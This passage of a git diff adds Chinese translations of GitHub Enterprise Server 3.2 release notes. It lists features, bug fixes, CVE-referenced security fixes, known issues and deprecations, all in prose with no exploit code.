"拉取请求事件和拉取请求审查事件现包含在[企业](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)和[组织](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)的审核日志中。这些事件可帮助管理员更好地监视拉取请求活动,并帮助确保符合安全性和合规性要求。事件可以从 Web UI 查看,以 CSV 或 JSON 格式导出,或通过 REST API 访问。还可以搜索特定拉取请求事件的审核日志。有关详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#pull_request-category-actions)”。" + + - heading: '分支更改' + notes: + # https://github.com/github/releases/issues/885 + - |新存储库的默认分支名称现在为“main”。现有存储库不受此更改的影响。如果用户、组织所有者或企业所有者之前为新存储库指定了默认分支,它们也不会受到影响。 + + + +如果你想设置不同的默认分支名称,可以在[用户](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories)、[组织](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)或[企业](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name)设置中执行此操作。 + +| + # https://github.com/github/releases/issues/981 + - |现可使用 {% data variables.product.product_name %} Web UI 重命名分支(包括默认分支)。当重命名分支时,任何针对重命名分支的打开拉取请求和草案发布都将被自动重定向,并将更新明确引用重命名分支的分支保护规则。 + + + +重命名默认分支需要管理员权限,但重命名其他分支只需写入权限。 + + + +为了帮助用户尽可能无缝地进行更改: + + + +* 在存储库主页上向参与者、维护员和管理员显示通知,说明如何更新其本地存储库。 + +* 对旧分支的 Web 请求将被重定向。 + +* 将向 REST API 调用返回“永久移动的”HTTP 响应。 + +* 将向推送到旧分支的 Git 命令行用户显示一条信息性消息。 + + + +有关详细信息,请参阅“[重命名分支](/github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch)”。 + +| + - heading: 'GitHub Actions 更改' + notes: + # https://github.com/github/releases/issues/1227 + - '现在利用 {% data variables.product.prodname_actions %} 可以控制授予“GITHUB_TOKEN”机密的权限。“GITHUB_TOKEN”是自动生成的机密,你可以借助它在工作流运行中对 {% data variables.product.product_name %} API 进行经身份验证的调用。{% data variables.product.prodname_actions %} 为每个作业生成一个新令牌,并在作业完成时使令牌过期。令牌通常对许多 [API 终结点](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)具有“写入”权限,但来自分支的拉取请求除外,对这些拉取请求的权限始终为“读取”。通过这些新设置可在工作流中遵循最小特权原则。有关详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。' + + # https://github.com/github/releases/issues/1280 + - '可以在 {% data variables.product.prodname_cli %} 1.9 及更高版本中在终端使用 {% data variables.product.prodname_actions %}。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-04-15-github-cli-1-9-enables-you-to-work-with-github-actions-from-your-terminal/)。' + + # https://github.com/github/releases/issues/1157 + - "审核日志现在包括与 {% data variables.product.prodname_actions %} 工作流运行相关的事件。该数据为管理员提供了用于安全性和合规性审核的扩展数据集。有关详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#workflows-category-actions)”。" + + # https://github.com/github/releases/issues/1587 + - |{% data variables.product.prodname_ghe_server %} 3.2 包含对 {% data variables.product.prodname_actions %} 作业并发的性能改进。有关一系列 CPU 和内存配置的新性能目标的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)”。 + +*“最大并发”值已修改,以反映我们最新的性能测试。(更新日期:2021-12-07) + +| + - "{% data variables.product.prodname_ghe_server %} 3.2 中的 [{% data variables.product.prodname_actions %} 运行器](https://github.com/actions/runner)应用程序已更新到 [v2.279.0](https://github.com/actions/runner/releases/tag/v2.279.0)。" + + - heading: 'GitHub Packages 更改' + notes: + # https://github.com/github/releases/issues/1088 + - "{% data variables.product.prodname_registry %} 的任何包或包版本现在可以从 {% data variables.product.product_name %} 的 Web UI 中删除。还可以在 30 天内撤消删除任何包或包版本。有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。" + + - heading: 'Dependabot 和依赖项关系图更改' + notes: + # https://github.com/github/releases/issues/1537 + - "现在可以使用管理控制台启用依赖关系图,而不需要在管理 shell 中运行命令。有关详细信息,请参阅“[为易受攻击的依赖项 {% data variables.product.prodname_ghe_server %} 启用警报](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server#enabling-the-dependency-graph-and-dependabot-alerts-for-vulnerable-dependencies-on-github-enterprise-server)”。" + + # https://github.com/github/releases/issues/1153 + - "如果同时发现多个 {% data variables.product.prodname_dependabot_alerts %} 通知,则会将它们组合在一起。这大大减少了用户收到 {% data variables.product.prodname_dependabot %} 警告通知的数量。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-03-18-grouped-dependabot-alert-notifications/)。" + + # https://github.com/github/releases/issues/1371 + - "依赖项关系图和 {% data variables.product.prodname_dependabot_alerts %} 现支持 Go 模块。{% data variables.product.prodname_ghe_server %} 分析存储库的“go.mod”文件以理解存储库的依赖项。除了安全建议外,依赖项关系图还提供了向开发人员发出易受攻击依赖项警报所需的信息。有关在专用存储库上启用依赖项关系图的详细信息,请参阅“[保护存储库](/code-security/getting-started/securing-your-repository#managing-the-dependency-graph)”。" + + # https://github.com/github/releases/issues/1538 + - "安全警报的默认通知设置已更改。以前,如果你有权限查看存储库中的安全警报,那么只要你的设置允许安全警报通知,就会收到该存储库通知。现在,你必须通过监视存储库来选择加入安全警报通知。如果选择“所有活动”或将“自定义”配置为包含“安全警报”,则会收到通知。所有现有存储库都将自动迁移到这些新的设置,你将继续收到通知;但是,任何新的存储库都需要通过监视存储库来选择加入。有关详细信息,请参阅“[为 % data variables.product.prodname_dependabot_alerts %} 配置通知](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)”和“[管理来自机密扫描的警报](/code-security/secret-security/managing-alerts-from-secret-scanning)”。" + + - heading: '代码扫描和机密扫描更改' + notes: + # https://github.com/github/releases/issues/1352 + - '具有 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning_capc %} 现在为所有支持的语言生成诊断信息。这有助于检查所创建数据库的状态,以了解所执行分析的状态和质量。诊断信息从 [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/) 的[版本 2.5.6](https://github.com/github/codeql-cli-binaries/releases) 开始提供。可以在 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_actions %} 日志中查看详细诊断信息。有关详细信息,请参阅“[查看代码扫描日志](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)”。' + + # https://github.com/github/releases/issues/1360 + - '具有 {% data variables.product.prodname_codeql_cli %} 的 {% data variables.product.prodname_code_scanning_capc %} 现支持在单个生成过程中分析几种语言。这使得相比 {% data variables.product.prodname_actions %} 使用 CI/CD 系统来运行代码分析更加轻松。从 [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/) 的[版本 2.5.6](https://github.com/github/codeql-cli-binaries/releases) 开始,“codeql database create”命令的新模式可用。有关此设置的详细信息,请参阅“[在 CI 系统中安装 {% data variables.product.prodname_codeql_cli %}](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system)”。' + + # https://github.com/github/releases/issues/1160 + - '来自所有支持工具的 {% data variables.product.prodname_code_scanning_capc %} 警报现在显示在一个合并列表中,以便你可以轻松地对所有警报进行优先级排序。可以使用“工具”筛选器查看来自特定工具的警报,“规则”和“标签”筛选器将根据你的“工具”选择动态更新。' + + # https://github.com/github/releases/issues/1454 + - '具有 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning_capc %} 现包含对 C++20 代码分析的 beta 版本支持。这只在 Linux 上用 GCC 生成代码库时可用。尚不支持 C++20 模块。' + + # https://github.com/github/releases/issues/1375 + - "{% data variables.product.prodname_codeql %} 的深度分析已通过添加对更多[库和框架](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)的支持并增加我们现有库和框架模型的覆盖范围,针对多种语言 ([C++](https://github.com/github/codeql/tree/main/cpp)、[JavaScript](https://github.com/github/codeql/tree/main/javascript)、[Python](https://github.com/github/codeql/tree/main/python) 和 [Java](https://github.com/github/codeql/tree/main/java)) 进行了改进。因此,{% data variables.product.prodname_codeql %} 现在可以检测更多不受信任的用户数据的潜在来源、审查数据流经的步骤,并识别数据可能最终到达的潜在危险接收器。这使得 {% data variables.product.prodname_code_scanning %} 警报质量得到了全面的提高。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-07-01-codeql-code-scanning-now-recognizes-more-sources-and-uses-of-untrusted-user-data/)。" + + # https://github.com/github/releases/issues/1335 + # https://github.com/github/releases/issues/1314 + - |{% data variables.product.prodname_code_scanning_capc %} 现在显示 CodeQL 安全警报的“安全严重性”级别。可以配置哪些“安全级别”会导致拉取请求检查失败。安全警报的严重性级别可分为“严重”、“高”、“中”或“低”。默认情况下,“安全严重性”为“严重”或“高”的任何 {% data variables.product.prodname_code_scanning %} 警报都会导致拉取请求检查失败。 + + + +此外,现在还可以配置哪些严重级别会导致非安全警报的拉取请求检查失败。可以在存储库级别配置此行为,并定义具有“错误”、“警告”或“注意”级别的警报是否会导致拉取请求检查失败。默认情况下,严重性为“错误”的非安全 {% data variables.product.prodname_code_scanning %} 警报会导致拉取请求检查失败。 + + + +有关详细信息,请参阅“[定义导致拉取请求检查失败的警报严重性级别]”(/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)”。 + + + +![具有安全性级别的代码扫描警报列表](/assets/images/enterprise/3.2/release-notes/code-scanning-alerts.png) + +| + # https://github.com/github/releases/issues/1324 + - |对 {% data variables.product.prodname_code_scanning %} 分支筛选器的改进使得哪些 {% data variables.product.prodname_code_scanning %} 警报将显示在警报页面上更加清晰明了。默认情况下,将筛选 {% data variables.product.prodname_code_scanning %} 警报以仅显示存储库默认分支的警报。可以使用分支筛选器来显示任何非默认分支上的警报。任何已应用的分支筛选器都将显示在搜索栏中。 + + + +搜索语法也被简化为“branch:<分支名称>”。此语法可以在搜索栏中多次使用,以筛选多个分支。前面的语法“ref:refs/heads/<分支名称>”仍然受支持,因此任何保存的 URL 都将继续工作。 + +| + # https://github.com/github/releases/issues/1313 + - |自定义文本搜索现在可以用于代码扫描警报。可以搜索代码扫描结果,以快速找到特定警报,而不必知道确切的搜索词。搜索应用于警报名称、说明和帮助文本。语法为: + + + +- 单个词返回所有匹配项。 + +- 多个搜索词返回与任意一个词匹配的结果。 + +- 用双引号括起来的词返回完全匹配项。 + +- 关键字“AND”返回多个词的匹配项。 + +| + - '{% data variables.product.prodname_secret_scanning_caps %} 为 23 个新的服务提供商添加了模式。有关支持的机密的更新列表,请参阅“[关于机密扫描](/code-security/secret-scanning/about-secret-scanning)”。' + + - heading: API 更改 + notes: + # https://github.com/github/releases/issues/1253 + - "向存储库 REST API 的“比较两个提交”终结点添加了分页支持,该终结点返回从一个提交或分支可访问但从另一个提交或分支无法访问的提交列表。该 API 现在还可以返回超过 250 次提交的比较结果。有关详细信息,请参阅 REST API 文档中的“[提交](/rest/reference/commits#compare-two-commits)”和“[使用分页遍历](/rest/guides/traversing-with-pagination)”。" + + # https://github.com/github/releases/issues/969 + - "现在可以使用 REST API 以编程方式重新发送或检查 Webhook 的状态。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/repos#webhooks)”、“[组织](/rest/reference/orgs#webhooks)”和“[应用](/rest/reference/apps#webhooks)”。" + + # https://github.com/github/releases/issues/1349 + - |对代码扫描和 {% data variables.product.prodname_GH_advanced_security %} API 进行了改进: + + + +- 代码扫描 API 现在返回用于分析的 CodeQL 查询版本。这可以用于再现结果或确认分析使用了最新查询。有关详细信息,请参阅 REST API 文档中的“[代码扫描](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)”。 + +- 管理员用户现在可以使用 REST API 来启用或禁用存储库的 {% data variables.product.prodname_GH_advanced_security %},方法是使用“repos/{org}/{repo}”上的“security_and_analysis”对象。此外,管理员用户还可以通过“GET /repos/{owner}/{repo}”请求来检查当前是否为存储库启用了 {% data variables.product.prodname_advanced_security %}。这些更改将帮助你大规模管理 {% data variables.product.prodname_advanced_security %} 存储库访问。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/repos#update-a-repository)”。 + +| + # No security/bug fixes for the RC release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + + deprecations: + - heading: 弃用 GitHub Enterprise Server 2.21 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.21 已于 2021 年 6 月 6 日停用**。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 2.22 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.22 将于 2021 年 9 月 23 日停用**。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 XenServer Hypervisor 支持 + notes: + # https://github.com/github/docs-content/issues/4439 + - "从 {% data variables.product.prodname_ghe_server %} 3.1 开始,我们将终止对 Xen Hypervisor 的支持。计划在标准一年期弃用窗口期后在 {% data variables.product.prodname_ghe_server %} 3.3 中完全弃用。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com/contact)。" + - heading: 删除旧 GitHub 服务 + notes: + # https://github.com/github/releases/issues/1506 + - '{% data variables.product.prodname_ghe_server %} 3.2 删除未使用的 GitHub 服务数据库记录。有关详细信息,请参阅[弃用公告贴文](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)。' + - heading: 弃用 OAuth 应用程序 API 终结点和通过查询参数的 API 身份验证 + notes: + # https://github.com/github/releases/issues/1316 + - |为防止意外记录或公开“access_tokens”,不建议使用 OAuth 应用程序 API 终结点和通过查询参数使用 API 身份验证。访问以下帖子,查看建议的替换: + + + +* [替换 OAuth 应用程序 API 终结点](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + +* [通过标头而不是查询参数替换身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + + +计划从 {% data variables.product.prodname_ghe_server %} 3.4 中的 {% data variables.product.prodname_ghe_server %} 中删除这些终结点和身份验证路由。 + +| + - heading: 删除旧 GitHub 应用 Webhook 事件和终结点 + notes: + # https://github.com/github/releases/issues/965 + - |两个旧 GitHub 应用相关 Webhook 事件已删除:“integration_installation”和“integration_installation_repositories”。应侦听“installation”和“installation_repositories”事件。 + +| + - |以下 REST API 终结点已删除“POST /installations/{installation_id}/access_tokens”。应使用等效命名空间“POST /app/installations/{installation_id}/access_tokens”。 + +| + - heading: 更改身份验证令牌的格式会影响 GitHub Connect + notes: + # https://github.com/github/releases/issues/1235 + - |由于 GitHub 身份验证令牌的格式发生变化,6 月 3 日之后,运行 GitHub Enterprise Server 3.1 或更早版本的实例将不再使用 GitHub Connect。若要继续使用 GitHub Connect,请升级到 GitHub Enterprise Server 3.2 或更高版本。有关详细信息,请参阅 [GitHub 博客](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/)。[更新时间:2022-06-14] + +| + backups: + - '{% data variables.product.prodname_ghe_server %} 3.2 至少需要 [GitHub Enterprise Backup Utilities 3.2.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/enterprise-server@3.2/admin/configuration/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/1.yml new file mode 100644 index 0000000000..09c7e2745f --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/1.yml @@ -0,0 +1,28 @@ +date: '2021-10-12' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/27118, https://github.com/github/enterprise2/pull/27110 {% endcomment %}' + bugs: + - '由于过于严格的虚拟内存或 CPU 时间限制,自定义预接收挂钩可能会失败。{% comment %} https://github.com/github/enterprise2/pull/26973, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - '在 GitHub Enterprise Server 群集配置中,依赖项关系图设置可能未正确应用。{% comment %} https://github.com/github/enterprise2/pull/26981, https://github.com/github/enterprise2/pull/26861 {% endcomment %}' + - '尝试使用 `ghe-cleanup-settings` 擦除所有现有配置设置无法重启管理控制台服务。{% comment %} https://github.com/github/enterprise2/pull/26988, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' + - '利用“ghe-repl-teardown”清理复制期间,Memcached 未能重启。{% comment %} https://github.com/github/enterprise2/pull/26994, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' + - '在高负载期间,当上游服务未通过内部运行状况检查时,用户将收到 HTTP 503 状态代码。{% comment %} https://github.com/github/enterprise2/pull/27083, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' + - '禁止预接收挂钩环境通过 Alpine 上的 BusyBox 调用 cat 命令。{% comment %} https://github.com/github/enterprise2/pull/27116, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - '从主群集数据中心故障转移到辅助群集数据中心成功,但随后故障转移回原始主群集数据中心时未能提升 Elasticsearch 索引。{% comment %} https://github.com/github/github/pull/193182, https://github.com/github/github/pull/192447 {% endcomment %}' + - '组织的“团队”页面上的“导入团队”按钮返回了 HTTP 404。{% comment %} https://github.com/github/github/pull/193303 {% endcomment %}' + - '使用 API 禁用机密扫描正确禁用了此属性,但错误地返回了 HTTP 422 和一个错误消息。{% comment %} https://github.com/github/github/pull/193455, https://github.com/github/github/pull/192907 {% endcomment %}' + - '在某些情况下,尝试查看“休眠用户”页面的 GitHub Enterprise 管理员会收到“502 网关错误”或“504 网关超时”响应。{% comment %} https://github.com/github/github/pull/194262, https://github.com/github/github/pull/193609 {% endcomment %}' + - '由于“SynchronizePullRequestJob”作业数量的增加,在某些高负载情况下,性能会受到负面影响。{% comment %} https://github.com/github/github/pull/195256, https://github.com/github/github/pull/194591 {% endcomment %}' + - '针对机密扫描创建的用户定义模式在被删除后也会继续被扫描。{% comment %} https://github.com/github/token-scanning-service/pull/1039, https://github.com/github/token-scanning-service/pull/822 {% endcomment %}' + changes: + - 'GitHub Apps 现在将存储库上的机密扫描功能设置为与 API 一致。{% comment %} https://github.com/github/github/pull/193456, https://github.com/github/github/pull/193125 {% endcomment %}' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/10.yml new file mode 100644 index 0000000000..654001252d --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/10.yml @@ -0,0 +1,16 @@ +date: '2022-03-01' +sections: + security_fixes: + - "高:在 GitHub 的 Markdown 分析程序中发现了可能会导致信息泄漏和 RCE 的整数溢出漏洞。该漏洞由 Google Project Zero 的成员 Felix Wilhelm 通过 GitHub Bug 悬赏计划报告,编号为 CVE-2022-24724。" + bugs: + - 如果高可用性副本的时钟与主要副本不同步,升级有时会失败。 + - "在 2020 年 9 月 1 日之后创建的 OAuth 应用程序无法使用[检查授权](https://docs.github.com/en/enterprise-server@3.2/rest/reference/apps#check-an-authorization) API 终结点。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/11.yml new file mode 100644 index 0000000000..bafb1315de --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/11.yml @@ -0,0 +1,44 @@ +date: '2022-04-04' +sections: + security_fixes: + - '中:在 {% data variables.product.prodname_ghe_server %} 管理控制台中发现了一个允许绕过 CSRF 保护的路径遍历漏洞。此漏洞影响 3.5 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.1.19、3.2.11、3.3.6 和 3.4.1 中得到了修复。此漏洞通过 {% data variables.product.prodname_dotcom %} Bug 赏金计划报告,编号为 CVE-2022-23732。' + - '中:在 `yajil` 的 1.x 分支和 2.x 分支中发现了一个整数溢出漏洞,在处理大型 (~2GB) 输入时,该漏洞会导致随后出现堆内存损坏。此漏洞是内部报告的,编号为 CVE-2022-24795。' + - "如果启用了 {% data variables.product.prodname_actions %},支持包可能包含敏感文件。" + - 包已更新到最新的安全版本。 + bugs: + - "如果升级 {% data variables.product.prodname_ghe_server %} 后存在旧配置选项,Minio 进程的 CPU 使用率会很高。" + - 显示了用于在管理控制台的“隐私”设置中启用 `TLS 1.0` 和 `TLS 1.1` 的选项,尽管在早期版本中移除了这些协议版本。 + - "在 HA 环境中,首次启用 {% data variables.product.prodname_actions %} 后,可能需要执行额外的手动步骤才能配置 MSSQL 复制。" + - 经过热补丁,内部配置文件的子集更新会更可靠。 + - "`ghe-run-migrations` 脚本有时无法正确生成临时证书名称。" + - 在群集环境中,Git LFS 操作可能会因跨多个 Web 节点的内部 API 调用失败而失败。 + - 由于 `syscall` 权限不足,使用 `gpg --import` 的预接收挂钩超时。 + - 在某些群集拓扑中,Webhook 交付信息不可用。 + - "在 HA 配置中,如果先前已启用 {% data variables.product.prodname_actions %},副本拆解操作将失败。" + - 运行迁移时,Elasticsearch 运行状况检查不允许出现黄色群集状态。 + - 由于用户将其用户帐户转换为组织而创建的组织未添加到全局企业帐户中。 + - "使用 `ghe-migrator` 或从 {% data variables.product.prodname_dotcom_the_website %} 导出时,如果在导出过程中删除数据,则长时间运行的导出将失败。" + - "{% data variables.product.prodname_actions %} 部署图在呈现待处理作业时会显示错误。" + - 无法访问的页面链接已被移除。 + - 远离 Web UI 中两个提交的比较将使差异在其他页面中持续存在。 + - 将团队添加为拉取请求的审阅者时,有时会显示不正确的团队成员数量。 + - "[删除用户的团队成员身份](/rest/reference/teams#remove-team-membership-for-a-user) API 终结点在尝试删除由 SCIM 组在外部管理的成员时会响应错误。" + - "大量休眠用户可能会导致 {% data variables.product.prodname_github_connect %} 配置失败。" + - 站点管理员 Web UI 中的“功能和 Beta 版本注册”页面无法正确使用。 + - 单击站点页脚中的“站点管理员模式”链接时,其状态未发生更改。 + - '`spokesctl cache-policy rm` 命名不再失败且显示消息 `error: failed to delete cache policy`。' + changes: + - 增加了 Memcached 连接上限,可更好地适应大型群集拓扑。 + - 依赖项关系图 API 以前使用静态定义的端口运行。 + - 已更新与群集相关的 Elasticsearch 分片设置的默认分片计数。 + - “会审”和“维护”团队角色在存储库迁移期间保留。 + - 企业所有者提出的 Web 请求的性能已得到改进。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob de 文件路径长于 255 个字符,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/12.yml new file mode 100644 index 0000000000..5543b2fb41 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/12.yml @@ -0,0 +1,24 @@ +date: '2022-04-20' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在某些情况下,使用升级包升级高可用性对中的节点可能会导致 Elasticsearch 进入不一致状态。 + - 在某些群集拓扑中,命令行实用程序 `ghe-spokesctl` 和 `ghe-btop` 无法运行。 + - 由于 `elasticsearch-upgrade` 服务并行运行多次,因此 Elasticsearch 索引可能会在包升级期间重复。 + - "将用户帐户转换为组织帐户时,如果用户帐户是 {% data variables.product.prodname_ghe_server %} 企业帐户的所有者,则转换后的组织将无法正确显示在企业所有者列表中。" + - 当与 OAuth 应用程序 ID 匹配的集成已存在时,使用企业管理 REST API 创建模拟 OAuth 令牌会运行不正常。 + changes: + - 除了配置日志之外,停止 config apply 运行的配置错误现在会输出到终端。 + - 尝试缓存大于 Memcached 中允许的最大值的值时,会引发错误,但不会报告密钥。 + - "即使未使用 {% data variables.product.prodname_actions %} 的默认令牌权限,{% data variables.product.prodname_codeql %} 入门工作流程也不会再出错。" + - "如果在实例上启用了 {% data variables.product.prodname_GH_advanced_security %} 功能,则在处理存储库贡献的批次时,后台作业的性能会有所提高。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/13.yml new file mode 100644 index 0000000000..68abc622b7 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/13.yml @@ -0,0 +1,28 @@ +date: '2022-05-17' +sections: 